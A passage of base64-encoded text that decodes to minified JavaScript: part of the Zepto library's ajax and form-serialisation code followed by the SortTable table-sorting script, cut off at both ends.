WNjZXNzKGdbMF0saSxhLGIpLHdpbmRvd1tkXT1mLGcmJiQuaXNGdW5jdGlvbihmKSYmZihnWzBdKSxmPWc9dW5kZWZpbmVkfSksYWpheEJlZm9yZVNlbmQoaSxhKT09PSExPyhoKCJhYm9ydCIpLGkpOih3aW5kb3dbZF09ZnVuY3Rpb24oKXtnPWFyZ3VtZW50c30sZS5zcmM9YS51cmwucmVwbGFjZSgvPVw/LywiPSIrZCksZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChlKSxhLnRpbWVvdXQ+MCYmKGo9c2V0VGltZW91dChmdW5jdGlvbigpe2goInRpbWVvdXQiKX0sYS50aW1lb3V0KSksaSl9cmV0dXJuICQuYWpheChhKX0sJC5hamF4U2V0dGluZ3M9e3R5cGU6IkdFVCIsYmVmb3JlU2VuZDplbXB0eSxzdWNjZXNzOmVtcHR5LGVycm9yOmVtcHR5LGNvbXBsZXRlOmVtcHR5LGNvbnRleHQ6bnVsbCxnbG9iYWw6ITAseGhyOmZ1bmN0aW9uKCl7cmV0dXJuIG5ldyB3aW5kb3cuWE1MSHR0cFJlcXVlc3R9LGFjY2VwdHM6e3NjcmlwdDoidGV4dC9qYXZhc2NyaXB0LCBhcHBsaWNhdGlvbi9qYXZhc2NyaXB0LCBhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiLGpzb246anNvblR5cGUseG1sOiJhcHBsaWNhdGlvbi94bWwsIHRleHQveG1sIixodG1sOmh0bWxUeXBlLHRleHQ6InRleHQvcGxhaW4ifSxjcm9zc0RvbWFpbjohMSx0aW1lb3V0OjAscHJvY2Vzc0RhdGE6ITAsY2FjaGU6ITB9LCQuYWpheD1mdW5jdGlvbihvcHRpb25zKXt2YXIgc2V0dGluZ3M9JC5leHRlbmQoe30sb3B0aW9uc3x8e30pLGRlZmVycmVkPSQuRGVmZXJyZWQmJiQuRGVmZXJyZWQoKTtmb3Ioa2V5IGluICQuYWpheFNldHRpbmdzKXNldHRpbmdzW2tleV09PT11bmRlZmluZWQmJihzZXR0aW5nc1trZXldPSQuYWpheFNldHRpbmdzW2tleV0pO2FqYXhTdGFydChzZXR0aW5ncyksc2V0dGluZ3MuY3Jvc3NEb21haW58fChzZXR0aW5ncy5jcm9zc0RvbWFpbj0vXihbXHctXSs6KT9cL1wvKFteXC9dKykvLnRlc3Qoc2V0dGluZ3MudXJsKSYmUmVnRXhwLiQyIT13aW5kb3cubG9jYXRpb24uaG9zdCksc2V0dGluZ3MudXJsfHwoc2V0dGluZ3MudXJsPXdpbmRvdy5sb2NhdGlvbi50b1N0cmluZygpKSxzZXJpYWxpemVEYXRhKHNldHRpbmdzKSxzZXR0aW5ncy5jYWNoZT09PSExJiYoc2V0dGluZ3MudXJsPWFwcGVuZFF1ZXJ5KHNldHRpbmdzLnVybCwiXz0iK0RhdGUubm93KCkpKTt2YXIgZGF0YVR5cGU9c2V0dGluZ3MuZGF0YVR5cGUsaGFzUGxhY2Vob2xkZXI9Lz1cPy8udGVzdChzZXR0aW5ncy51cmwpO2lmKGRhdGFUeXBlPT0ianNvbnAifHxoYXNQbGFjZWhvbGRlcilyZXR1cm4gaGFzUGxhY2Vob2xkZXJ8fChzZXR0aW5ncy51cmw9YXBwZW5kUXVlcnkoc2V0dGluZ3MudXJsLHNldHRpbmdzLmpzb25wP3NldHRpbmdzLmpzb25wKyI9PyI6c2V0dGluZ3MuanNvbnA9PT0hMT8iIjoiY2FsbGJhY2s9PyIpKSwkLmFqYXhKU09OUChzZXR0aW5ncyxkZWZlcnJlZCk7dmFyIG1pbWU9c2V0dGluZ3MuYWNjZXB0c1tkYXRhVHlwZV0saGVhZGVycz17fSxzZXRIZWFkZXI9ZnVuY3Rpb24oYSxiKXtoZWFkZXJzW2EudG9Mb3dlckNhc2UoKV09W2EsYl19LHByb3RvY29sPS9eKFtcdy1dKzopXC9cLy8udGVzdChzZXR0aW5ncy51cmwpP1JlZ0V4cC4kMTp3aW5kb3cubG9jYXRpb24ucHJvdG9jb2wseGhyPXNldHRpbmdzLnhocigpLG5hdGl2ZVNldEhlYWRlcj14aHIuc2V0UmVxdWVzdEhlYWRlcixhYm9ydFRpbWVvdXQ7ZGVmZXJyZWQmJmRlZmVycmVkLnByb21pc2UoeGhyKSxzZXR0aW5ncy5jcm9zc0RvbWFpbnx8c2V0SGVhZGVyKCJYLVJlcXVlc3RlZC1XaXRoIiwiWE1MSHR0cFJlcXVlc3QiKSxzZXRIZWFkZXIoIkFjY2VwdCIsbWltZXx8IiovKiIpO2lmKG1pbWU9c2V0dGluZ3MubWltZVR5cGV8fG1pbWUpbWltZS5pbmRleE9mKCIsIik+LTEmJihtaW1lPW1pbWUuc3BsaXQoIiwiLDIpWzBdKSx4aHIub3ZlcnJpZGVNaW1lVHlwZSYmeGhyLm92ZXJyaWRlTWltZVR5cGUobWltZSk7KHNldHRpbmdzLmNvbnRlbnRUeXBlfHxzZXR0aW5ncy5jb250ZW50VHlwZSE9PSExJiZzZXR0aW5ncy5kYXRhJiZzZXR0aW5ncy50eXBlLnRvVXBwZXJDYXNlKCkhPSJHRVQiKSYmc2V0SGVhZGVyKCJDb250ZW50LVR5cGUiLHNldHRpbmdzLmNvbnRlbnRUeXBlfHwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7aWYoc2V0dGluZ3MuaGVhZGVycylmb3IobmFtZSBpbiBzZXR0aW5ncy5oZWFkZXJzKXNldEhlYWRlcihuYW1lLHNldHRpbmdzLmhlYWRlcnNbbmFtZV0pO3hoci5zZXRSZXF1ZXN0SGVhZGVyPXNldEhlYWRlcix4aHIub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7aWYoeGhyLnJlYWR5U3RhdGU9PTQpe3hoci5vbnJlYWR5c3RhdGVjaGFuZ2U9ZW1wdHksY2xlYXJUaW1lb3V0KGFib3J0VGltZW91dCk7dmFyIHJlc3VsdCxlcnJvcj0hMTtpZih4aHIuc3RhdHVzPj0yMDAmJnhoci5zdGF0dXM8MzAwfHx4aHIuc3RhdHVzPT0zMDR8fHhoci5zdGF0dXM9PTAmJnByb3RvY29sPT0iZmlsZToiKXtkYXRhVHlwZT1kYXRhVHlwZXx8bWltZVRvRGF0YVR5cGUoc2V0dGluZ3MubWltZVR5cGV8fHhoci5nZXRSZXNwb25zZUhlYWRlcigiY29udGVudC10eXBlIikpLHJlc3VsdD14aHIucmVzcG9uc2VUZXh0O3RyeXtkYXRhVHlwZT09InNjcmlwdCI/KDEsZXZhbCkocmVzdWx0KTpkYXRhVHlwZT09InhtbCI/cmVzdWx0PXhoci5yZXNwb25zZVhNTDpkYXRhVHlwZT09Impzb24iJiYocmVzdWx0PWJsYW5rUkUudGVzdChyZXN1bHQpP251bGw6JC5wYXJzZUpTT04ocmVzdWx0KSl9Y2F0Y2goZSl7ZXJyb3I9ZX1lcnJvcj9hamF4RXJyb3IoZXJyb3IsInBhcnNlcmVycm9yIix4aHIsc2V0dGluZ3MsZGVmZXJyZWQpOmFqYXhTdWNjZXNzKHJlc3VsdCx4aHIsc2V0dGluZ3MsZGVmZXJyZWQpfWVsc2UgYWpheEVycm9yKHhoci5zdGF0dXNUZXh0fHxudWxsLHhoci5zdGF0dXM/ImVycm9yIjoiYWJvcnQiLHhocixzZXR0aW5ncyxkZWZlcnJlZCl9fTtpZihhamF4QmVmb3JlU2VuZCh4aHIsc2V0dGluZ3MpPT09ITEpcmV0dXJuIHhoci5hYm9ydCgpLGFqYXhFcnJvcihudWxsLCJhYm9ydCIseGhyLHNldHRpbmdzLGRlZmVycmVkKSx4aHI7aWYoc2V0dGluZ3MueGhyRmllbGRzKWZvcihuYW1lIGluIHNldHRpbmdzLnhockZpZWxkcyl4aHJbbmFtZV09c2V0dGluZ3MueGhyRmllbGRzW25hbWVdO3ZhciBhc3luYz0iYXN5bmMiaW4gc2V0dGluZ3M/c2V0dGluZ3MuYXN5bmM6ITA7eGhyLm9wZW4oc2V0dGluZ3MudHlwZSxzZXR0aW5ncy51cmwsYXN5bmMsc2V0dGluZ3MudXNlcm5hbWUsc2V0dGluZ3MucGFzc3dvcmQpO2ZvcihuYW1lIGluIGhlYWRlcnMpbmF0aXZlU2V0SGVhZGVyLmFwcGx5KHhocixoZWFkZXJzW25hbWVdKTtyZXR1cm4gc2V0dGluZ3MudGltZW91dD4wJiYoYWJvcnRUaW1lb3V0PXNldFRpbWVvdXQoZnVuY3Rpb24oKXt4aHIub25yZWFkeXN0YXRlY2hhbmdlPWVtcHR5LHhoci5hYm9ydCgpLGFqYXhFcnJvcihudWxsLCJ0aW1lb3V0Iix4aHIsc2V0dGluZ3MsZGVmZXJyZWQpfSxzZXR0aW5ncy50aW1lb3V0KSkseGhyLnNlbmQoc2V0dGluZ3MuZGF0YT9zZXR0aW5ncy5kYXRhOm51bGwpLHhocn0sJC5nZXQ9ZnVuY3Rpb24oYSxiLGMsZCl7cmV0dXJuICQuYWpheChwYXJzZUFyZ3VtZW50cy5hcHBseShudWxsLGFyZ3VtZW50cykpfSwkLnBvc3Q9ZnVuY3Rpb24oYSxiLGMsZCl7dmFyIGU9cGFyc2VBcmd1bWVudHMuYXBwbHkobnVsbCxhcmd1bWVudHMpO3JldHVybiBlLnR5cGU9IlBPU1QiLCQuYWpheChlKX0sJC5nZXRKU09OPWZ1bmN0aW9uKGEsYixjKXt2YXIgZD1wYXJzZUFyZ3VtZW50cy5hcHBseShudWxsLGFyZ3VtZW50cyk7cmV0dXJuIGQuZGF0YVR5cGU9Impzb24iLCQuYWpheChkKX0sJC5mbi5sb2FkPWZ1bmN0aW9uKGEsYixjKXtpZighdGhpcy5sZW5ndGgpcmV0dXJuIHRoaXM7dmFyIGQ9dGhpcyxlPWEuc3BsaXQoL1xzLyksZixnPXBhcnNlQXJndW1lbnRzKGEsYixjKSxoPWcuc3VjY2VzcztyZXR1cm4gZS5sZW5ndGg+MSYmKGcudXJsPWVbMF0sZj1lWzFdKSxnLnN1Y2Nlc3M9ZnVuY3Rpb24oYSl7ZC5odG1sKGY/JCgiPGRpdj4iKS5odG1sKGEucmVwbGFjZShyc2NyaXB0LCIiKSkuZmluZChmKTphKSxoJiZoLmFwcGx5KGQsYXJndW1lbnRzKX0sJC5hamF4KGcpLHRoaXN9O3ZhciBlc2NhcGU9ZW5jb2RlVVJJQ29tcG9uZW50OyQucGFyYW09ZnVuY3Rpb24oYSxiKXt2YXIgYz1bXTtyZXR1cm4gYy5hZGQ9ZnVuY3Rpb24oYSxiKXt0aGlzLnB1c2goZXNjYXBlKGEpKyI9Iitlc2NhcGUoYikpfSxzZXJpYWxpemUoYyxhLGIpLGMuam9pbigiJiIpLnJlcGxhY2UoLyUyMC9nLCIrIil9fShaZXB0byksZnVuY3Rpb24oYSl7YS5mbi5zZXJpYWxpemVBcnJheT1mdW5jdGlvbigpe3ZhciBiPVtdLGM7cmV0dXJuIGEoW10uc2xpY2UuY2FsbCh0aGlzLmdldCgwKS5lbGVtZW50cykpLmVhY2goZnVuY3Rpb24oKXtjPWEodGhpcyk7dmFyIGQ9Yy5hdHRyKCJ0eXBlIik7dGhpcy5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpIT0iZmllbGRzZXQiJiYhdGhpcy5kaXNhYmxlZCYmZCE9InN1Ym1pdCImJmQhPSJyZXNldCImJmQhPSJidXR0b24iJiYoZCE9InJhZGlvIiYmZCE9ImNoZWNrYm94Inx8dGhpcy5jaGVja2VkKSYmYi5wdXNoKHtuYW1lOmMuYXR0cigibmFtZSIpLHZhbHVlOmMudmFsKCl9KX0pLGJ9LGEuZm4uc2VyaWFsaXplPWZ1bmN0aW9uKCl7dmFyIGE9W107cmV0dXJuIHRoaXMuc2VyaWFsaXplQXJyYXkoKS5mb3JFYWNoKGZ1bmN0aW9uKGIpe2EucHVzaChlbmNvZGVVUklDb21wb25lbnQoYi5uYW1lKSsiPSIrZW5jb2RlVVJJQ29tcG9uZW50KGIudmFsdWUpKX0pLGEuam9pbigiJiIpfSxhLmZuLnN1Ym1pdD1mdW5jdGlvbihiKXtpZihiKXRoaXMuYmluZCgic3VibWl0IixiKTtlbHNlIGlmKHRoaXMubGVuZ3RoKXt2YXIgYz1hLkV2ZW50KCJzdWJtaXQiKTt0aGlzLmVxKDApLnRyaWdnZXIoYyksYy5pc0RlZmF1bHRQcmV2ZW50ZWQoKXx8dGhpcy5nZXQoMCkuc3VibWl0KCl9cmV0dXJuIHRoaXN9fShaZXB0byksZnVuY3Rpb24oYSl7Il9fcHJvdG9fXyJpbnt9fHxhLmV4dGVuZChhLnplcHRvLHtaOmZ1bmN0aW9uKGIsYyl7cmV0dXJuIGI9Ynx8W10sYS5leHRlbmQoYixhLmZuKSxiLnNlbGVjdG9yPWN8fCIiLGIuX19aPSEwLGJ9LGlzWjpmdW5jdGlvbihiKXtyZXR1cm4gYS50eXBlKGIpPT09ImFycmF5IiYmIl9fWiJpbiBifX0pO3RyeXtnZXRDb21wdXRlZFN0eWxlKHVuZGVmaW5lZCl9Y2F0Y2goYil7dmFyIGM9Z2V0Q29tcHV0ZWRTdHlsZTt3aW5kb3cuZ2V0Q29tcHV0ZWRTdHlsZT1mdW5jdGlvbihhKXt0cnl7cmV0dXJuIGMoYSl9Y2F0Y2goYil7cmV0dXJuIG51bGx9fX19KFplcHRvKQoKCi8qKgoqCiogU29ydFRhYmxlCiogdmVyc2lvbiAyCiogN3RoIEFwcmlsIDIwMDcKKiBTdHVhcnQgTGFuZ3JpZGdlLCBodHRwOi8vd3d3LmtyeW9nZW5peC5vcmcvY29kZS9icm93c2VyL3NvcnR0YWJsZS8KKgoqKi8KdmFyIGg9ITAsaj0hMTsKc29ydHRhYmxlPXtlOmZ1bmN0aW9uKCl7YXJndW1lbnRzLmNhbGxlZS5pfHwoYXJndW1lbnRzLmNhbGxlZS5pPWgsayYmY2xlYXJJbnRlcnZhbChrKSxkb2N1bWVudC5jcmVhdGVFbGVtZW50JiZkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSYmKHNvcnR0YWJsZS5hPS9eKFxkXGQ/KVtcL1wuLV0oXGRcZD8pW1wvXC4tXSgoXGRcZCk/XGRcZCkkLyxsKGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJ0YWJsZSIpLGZ1bmN0aW9uKGEpey0xIT1hLmNsYXNzTmFtZS5zZWFyY2goL1xic29ydGFibGVcYi8pJiZzb3J0dGFibGUuayhhKX0pKSl9LGs6ZnVuY3Rpb24oYSl7MD09YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgidGhlYWQiKS5sZW5ndGgmJih0aGU9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgidGhlYWQiKSx0aGUuYXBwZW5kQ2hpbGQoYS5yb3dzWzBdKSxhLmluc2VydEJlZm9yZSh0aGUsYS5maXJzdENoaWxkKSk7bnVsbD09YS50SGVhZCYmKGEudEhlYWQ9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgidGhlYWQiKVswXSk7CmlmKDE9PWEudEhlYWQucm93cy5sZW5ndGgpe3NvcnRib3R0b21yb3dzPVtdO2Zvcih2YXIgYj0wO2I8YS5yb3dzLmxlbmd0aDtiKyspLTEhPWEucm93c1tiXS5jbGFzc05hbWUuc2VhcmNoKC9cYnNvcnRib3R0b21cYi8pJiYoc29ydGJvdHRvbXJvd3Nbc29ydGJvdHRvbXJvd3MubGVuZ3RoXT1hLnJvd3NbYl0pO2lmKHNvcnRib3R0b21yb3dzKXtudWxsPT1hLnRGb290JiYodGZvPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInRmb290IiksYS5hcHBlbmRDaGlsZCh0Zm8pKTtmb3IoYj0wO2I8c29ydGJvdHRvbXJvd3MubGVuZ3RoO2IrKyl0Zm8uYXBwZW5kQ2hpbGQoc29ydGJvdHRvbXJvd3NbYl0pO2RlbGV0ZSBzb3J0Ym90dG9tcm93c31oZWFkcm93PWEudEhlYWQucm93c1swXS5jZWxscztmb3IoYj0wO2I8aGVhZHJvdy5sZW5ndGg7YisrKWlmKCFoZWFkcm93W2JdLmNsYXNzTmFtZS5tYXRjaCgvXGJzb3J0dGFibGVfbm9zb3J0XGIvKSl7KG10Y2g9aGVhZHJvd1tiXS5jbGFzc05hbWUubWF0Y2goL1xic29ydHRhYmxlXyhbYS16MC05XSspXGIvKSkmJgoob3ZlcnJpZGU9bXRjaFsxXSk7aGVhZHJvd1tiXS5wPW10Y2gmJiJmdW5jdGlvbiI9PXR5cGVvZiBzb3J0dGFibGVbInNvcnRfIitvdmVycmlkZV0/c29ydHRhYmxlWyJzb3J0XyIrb3ZlcnJpZGVdOnNvcnR0YWJsZS5qKGEsYik7aGVhZHJvd1tiXS5vPWI7aGVhZHJvd1tiXS5jPWEudEJvZGllc1swXTt2YXIgYz1oZWFkcm93W2JdLGU9c29ydHRhYmxlLnE9ZnVuY3Rpb24oKXtpZigtMSE9dGhpcy5jbGFzc05hbWUuc2VhcmNoKC9cYnNvcnR0YWJsZV9zb3J0ZWRcYi8pKXNvcnR0YWJsZS5yZXZlcnNlKHRoaXMuYyksdGhpcy5jbGFzc05hbWU9dGhpcy5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZCIsInNvcnR0YWJsZV9zb3J0ZWRfcmV2ZXJzZSIpLHRoaXMucmVtb3ZlQ2hpbGQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNvcnR0YWJsZV9zb3J0ZndkaW5kIikpLHNvcnRyZXZpbmQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3BhbiIpLHNvcnRyZXZpbmQuaWQ9InNvcnR0YWJsZV9zb3J0cmV2aW5kIiwKc29ydHJldmluZC5pbm5lckhUTUw9IiZuYnNwOyYjeDI1QjQ7Iix0aGlzLmFwcGVuZENoaWxkKHNvcnRyZXZpbmQpO2Vsc2UgaWYoLTEhPXRoaXMuY2xhc3NOYW1lLnNlYXJjaCgvXGJzb3J0dGFibGVfc29ydGVkX3JldmVyc2VcYi8pKXNvcnR0YWJsZS5yZXZlcnNlKHRoaXMuYyksdGhpcy5jbGFzc05hbWU9dGhpcy5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZF9yZXZlcnNlIiwic29ydHRhYmxlX3NvcnRlZCIpLHRoaXMucmVtb3ZlQ2hpbGQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNvcnR0YWJsZV9zb3J0cmV2aW5kIikpLHNvcnRmd2RpbmQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3BhbiIpLHNvcnRmd2RpbmQuaWQ9InNvcnR0YWJsZV9zb3J0ZndkaW5kIixzb3J0ZndkaW5kLmlubmVySFRNTD0iJm5ic3A7JiN4MjVCRTsiLHRoaXMuYXBwZW5kQ2hpbGQoc29ydGZ3ZGluZCk7ZWxzZXt0aGVhZHJvdz10aGlzLnBhcmVudE5vZGU7bCh0aGVhZHJvdy5jaGlsZE5vZGVzLApmdW5jdGlvbihhKXsxPT1hLm5vZGVUeXBlJiYoYS5jbGFzc05hbWU9YS5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZF9yZXZlcnNlIiwiIiksYS5jbGFzc05hbWU9YS5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZCIsIiIpKX0pOyhzb3J0ZndkaW5kPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzb3J0dGFibGVfc29ydGZ3ZGluZCIpKSYmc29ydGZ3ZGluZC5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHNvcnRmd2RpbmQpOyhzb3J0cmV2aW5kPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzb3J0dGFibGVfc29ydHJldmluZCIpKSYmc29ydHJldmluZC5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHNvcnRyZXZpbmQpO3RoaXMuY2xhc3NOYW1lKz0iIHNvcnR0YWJsZV9zb3J0ZWQiO3NvcnRmd2RpbmQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3BhbiIpO3NvcnRmd2RpbmQuaWQ9InNvcnR0YWJsZV9zb3J0ZndkaW5kIjtzb3J0ZndkaW5kLmlubmVySFRNTD0KIiZuYnNwOyYjeDI1QkU7Ijt0aGlzLmFwcGVuZENoaWxkKHNvcnRmd2RpbmQpO3Jvd19hcnJheT1bXTtjb2w9dGhpcy5vO3Jvd3M9dGhpcy5jLnJvd3M7Zm9yKHZhciBhPTA7YTxyb3dzLmxlbmd0aDthKyspcm93X2FycmF5W3Jvd19hcnJheS5sZW5ndGhdPVtzb3J0dGFibGUuZChyb3dzW2FdLmNlbGxzW2NvbF0pLHJvd3NbYV1dO3Jvd19hcnJheS5zb3J0KHRoaXMucCk7dGI9dGhpcy5jO2ZvcihhPTA7YTxyb3dfYXJyYXkubGVuZ3RoO2ErKyl0Yi5hcHBlbmRDaGlsZChyb3dfYXJyYXlbYV1bMV0pO2RlbGV0ZSByb3dfYXJyYXl9fTtpZihjLmFkZEV2ZW50TGlzdGVuZXIpYy5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsZSxqKTtlbHNle2UuZnx8KGUuZj1uKyspO2MuYnx8KGMuYj17fSk7dmFyIGc9Yy5iLmNsaWNrO2d8fChnPWMuYi5jbGljaz17fSxjLm9uY2xpY2smJihnWzBdPWMub25jbGljaykpO2dbZS5mXT1lO2Mub25jbGljaz1wfX19fSxqOmZ1bmN0aW9uKGEsYil7c29ydGZuPQpzb3J0dGFibGUubDtmb3IodmFyIGM9MDtjPGEudEJvZGllc1swXS5yb3dzLmxlbmd0aDtjKyspaWYodGV4dD1zb3J0dGFibGUuZChhLnRCb2RpZXNbMF0ucm93c1tjXS5jZWxsc1tiXSksIiIhPXRleHQpe2lmKHRleHQubWF0Y2goL14tP1tcdTAwYTMkXHUwMGE0XT9bXGQsLl0rJT8kLykpcmV0dXJuIHNvcnR0YWJsZS5uO2lmKHBvc3NkYXRlPXRleHQubWF0Y2goc29ydHRhYmxlLmEpKXtmaXJzdD1wYXJzZUludChwb3NzZGF0ZVsxXSk7c2Vjb25kPXBhcnNlSW50KHBvc3NkYXRlWzJdKTtpZigxMjxmaXJzdClyZXR1cm4gc29ydHRhYmxlLmc7aWYoMTI8c2Vjb25kKXJldHVybiBzb3J0dGFibGUubTtzb3J0Zm49c29ydHRhYmxlLmd9fXJldHVybiBzb3J0Zm59LGQ6ZnVuY3Rpb24oYSl7aWYoIWEpcmV0dXJuIiI7aGFzSW5wdXRzPSJmdW5jdGlvbiI9PXR5cGVvZiBhLmdldEVsZW1lbnRzQnlUYWdOYW1lJiZhLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJpbnB1dCIpLmxlbmd0aDtpZigiIiE9CmEudGl0bGUpcmV0dXJuIGEudGl0bGU7aWYoInVuZGVmaW5lZCIhPXR5cGVvZiBhLnRleHRDb250ZW50JiYhaGFzSW5wdXRzKXJldHVybiBhLnRleHRDb250ZW50LnJlcGxhY2UoL15ccyt8XHMrJC9nLCIiKTtpZigidW5kZWZpbmVkIiE9dHlwZW9mIGEuaW5uZXJUZXh0JiYhaGFzSW5wdXRzKXJldHVybiBhLmlubmVyVGV4dC5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7aWYoInVuZGVmaW5lZCIhPXR5cGVvZiBhLnRleHQmJiFoYXNJbnB1dHMpcmV0dXJuIGEudGV4dC5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7c3dpdGNoKGEubm9kZVR5cGUpe2Nhc2UgMzppZigiaW5wdXQiPT1hLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCkpcmV0dXJuIGEudmFsdWUucmVwbGFjZSgvXlxzK3xccyskL2csIiIpO2Nhc2UgNDpyZXR1cm4gYS5ub2RlVmFsdWUucmVwbGFjZSgvXlxzK3xccyskL2csIiIpO2Nhc2UgMTpjYXNlIDExOmZvcih2YXIgYj0iIixjPTA7YzxhLmNoaWxkTm9kZXMubGVuZ3RoO2MrKyliKz0Kc29ydHRhYmxlLmQoYS5jaGlsZE5vZGVzW2NdKTtyZXR1cm4gYi5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7ZGVmYXVsdDpyZXR1cm4iIn19LHJldmVyc2U6ZnVuY3Rpb24oYSl7bmV3cm93cz1bXTtmb3IodmFyIGI9MDtiPGEucm93cy5sZW5ndGg7YisrKW5ld3Jvd3NbbmV3cm93cy5sZW5ndGhdPWEucm93c1tiXTtmb3IoYj1uZXdyb3dzLmxlbmd0aC0xOzA8PWI7Yi0tKWEuYXBwZW5kQ2hpbGQobmV3cm93c1tiXSk7ZGVsZXRlIG5ld3Jvd3N9LG46ZnVuY3Rpb24oYSxiKXthYT1wYXJzZUZsb2F0KGFbMF0ucmVwbGFjZSgvW14wLTkuLV0vZywiIikpO2lzTmFOKGFhKSYmKGFhPTApO2JiPXBhcnNlRmxvYXQoYlswXS5yZXBsYWNlKC9bXjAtOS4tXS9nLCIiKSk7aXNOYU4oYmIpJiYoYmI9MCk7cmV0dXJuIGFhLWJifSxsOmZ1bmN0aW9uKGEsYil7cmV0dXJuIGFbMF0udG9Mb3dlckNhc2UoKT09YlswXS50b0xvd2VyQ2FzZSgpPzA6YVswXS50b0xvd2VyQ2FzZSgpPGJbMF0udG9Mb3dlckNhc2UoKT8KLTE6MX0sZzpmdW5jdGlvbihhLGIpe210Y2g9YVswXS5tYXRjaChzb3J0dGFibGUuYSk7eT1tdGNoWzNdO209bXRjaFsyXTtkPW10Y2hbMV07MT09bS5sZW5ndGgmJihtPSIwIittKTsxPT1kLmxlbmd0aCYmKGQ9IjAiK2QpO2R0MT15K20rZDttdGNoPWJbMF0ubWF0Y2goc29ydHRhYmxlLmEpO3k9bXRjaFszXTttPW10Y2hbMl07ZD1tdGNoWzFdOzE9PW0ubGVuZ3RoJiYobT0iMCIrbSk7MT09ZC5sZW5ndGgmJihkPSIwIitkKTtkdDI9eSttK2Q7cmV0dXJuIGR0MT09ZHQyPzA6ZHQxPGR0Mj8tMToxfSxtOmZ1bmN0aW9uKGEsYil7bXRjaD1hWzBdLm1hdGNoKHNvcnR0YWJsZS5hKTt5PW10Y2hbM107ZD1tdGNoWzJdO209bXRjaFsxXTsxPT1tLmxlbmd0aCYmKG09IjAiK20pOzE9PWQubGVuZ3RoJiYoZD0iMCIrZCk7ZHQxPXkrbStkO210Y2g9YlswXS5tYXRjaChzb3J0dGFibGUuYSk7eT1tdGNoWzNdO2Q9bXRjaFsyXTttPW10Y2hbMV07MT09bS5sZW5ndGgmJihtPSIwIittKTsxPT1kLmxlbmd0aCYmCihkPSIwIitkKTtkdDI9eSttK2Q7cmV0dXJuIGR0MT09ZHQyPzA6ZHQxPGR0Mj8tMToxfSxyOmZ1bmN0aW9uKGEsYil7Zm9yKHZhciBjPTAsZT1hLmxlbmd0aC0xLGc9aDtnOyl7Zm9yKHZhciBnPWosZj1jO2Y8ZTsrK2YpMDxiKGFbZl0sYVtmKzFdKSYmKGc9YVtmXSxhW2ZdPWFbZisxXSxhW2YrMV09ZyxnPWgpO2UtLTtpZighZylicmVhaztmb3IoZj1lO2Y+YzstLWYpMD5iKGFbZl0sYVtmLTFdKSYmKGc9YVtmXSxhW2ZdPWFbZi0xXSxhW2YtMV09ZyxnPWgpO2MrK319fTtkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyJiZkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIixzb3J0dGFibGUuZSxqKTtpZigvV2ViS2l0L2kudGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSl2YXIgaz1zZXRJbnRlcnZhbChmdW5jdGlvbigpey9sb2FkZWR8Y29tcGxldGUvLnRlc3QoZG9jdW1lbnQucmVhZHlTdGF0ZSkmJnNvcnR0YWJsZS5lKCl9LDEwKTsKd2luZG93Lm9ubG9hZD1zb3J0dGFibGUuZTt2YXIgbj0xO2Z1bmN0aW9uIHAoYSl7dmFyIGI9aDthfHwoYT0oKHRoaXMub3duZXJEb2N1bWVudHx8dGhpcy5kb2N1bWVudHx8dGhpcykucGFyZW50V2luZG93fHx3aW5kb3cpLmV2ZW50LGEucHJldmVudERlZmF1bHQ9cSxhLnN0b3BQcm9wYWdhdGlvbj1yKTt2YXIgYz10aGlzLmJbYS50eXBlXSxlO2ZvcihlIGluIGMpdGhpcy5oPWNbZV0sdGhpcy5oKGEpPT09aiYmKGI9aik7cmV0dXJuIGJ9ZnVuY3Rpb24gcSgpe3RoaXMucmV0dXJuVmFsdWU9an1mdW5jdGlvbiByKCl7dGhpcy5jYW5jZWxCdWJibGU9aH1BcnJheS5mb3JFYWNofHwoQXJyYXkuZm9yRWFjaD1mdW5jdGlvbihhLGIsYyl7Zm9yKHZhciBlPTA7ZTxhLmxlbmd0aDtlKyspYi5jYWxsKGMsYVtlXSxlLGEpfSk7CkZ1bmN0aW9uLnByb3RvdHlwZS5mb3JFYWNoPWZ1bmN0aW9uKGEsYixjKXtmb3IodmFyIGUgaW4gYSkidW5kZWZpbmVkIj09dHlwZW9mIHRoaXMucHJvdG90eXBlW2VdJiZiLmNhbGwoYyxhW2VdLGUsYSl9O1N0cmluZy5mb3JFYWNoPWZ1bmN0aW9uKGEsYixjKXtBcnJheS5mb3JFYWNoKGEuc3BsaXQoIiIpLGZ1bmN0aW9uKGUsZyl7Yi5jYWxsKGMsZSxnLGEpfSl9O2Z1bmN0aW9uIGwoYSxiKXtpZihhKXt2YXIgYz1PYmplY3Q7aWYoYSBpbnN0YW5jZW9mIEZ1bmN0aW9uKWM9RnVuY3Rpb247ZWx